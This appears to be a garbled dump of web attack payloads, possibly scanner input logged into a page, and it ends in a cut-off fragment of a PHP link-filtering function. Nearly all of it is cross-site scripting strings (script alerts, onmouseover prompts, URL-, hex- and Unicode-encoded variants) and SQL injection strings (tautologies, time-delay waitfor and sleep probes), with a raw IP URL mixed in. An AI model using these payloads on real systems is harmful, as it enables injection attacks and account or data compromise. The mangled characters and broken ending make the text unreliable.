/*!*/ %0A%22%3E%3Cscript%3Ealert(444)%3C%2Fscript%3E “> “> <%script>alert(‘XSS’)<%/script> %uff1cscript%uff1ealert(9);%uff1c/script%uff1e ‘/> <%tag style=â€xss:expression(alert(‘XSS’))â€> ‘ onmouseover=prompt(929623) bad=’ %0A%22%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%35%34%34%34%29%3C%2F%73%63%72%69%70%74%3E 1 1 ‘>> alert(XSS) ”;!–“=&{()} “onmouseover=prompt(959295)> “%20onmouseover=prompt(908001)%20bad=” Click me “0′; waitfor delay ‘0:0:25’ – admin’or ‘1’ = ‘1’ \ “><script>alert(444)</script> %22%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%32%33%29%3C%2F%73%63%72%69%70%74%3E 223E3C7363726970743E616C65727428343434293C2F7363726970743E ‘/ “ <? echo(‘<SCR)’; echo(‘IPT>alert(“XSS”)’); ?> Bapatla’=sleep(6.896)=’ http://203.123.33.197/bbnl/content/ protected function _js_link_removal($match) { //echo “in link removal”; return...
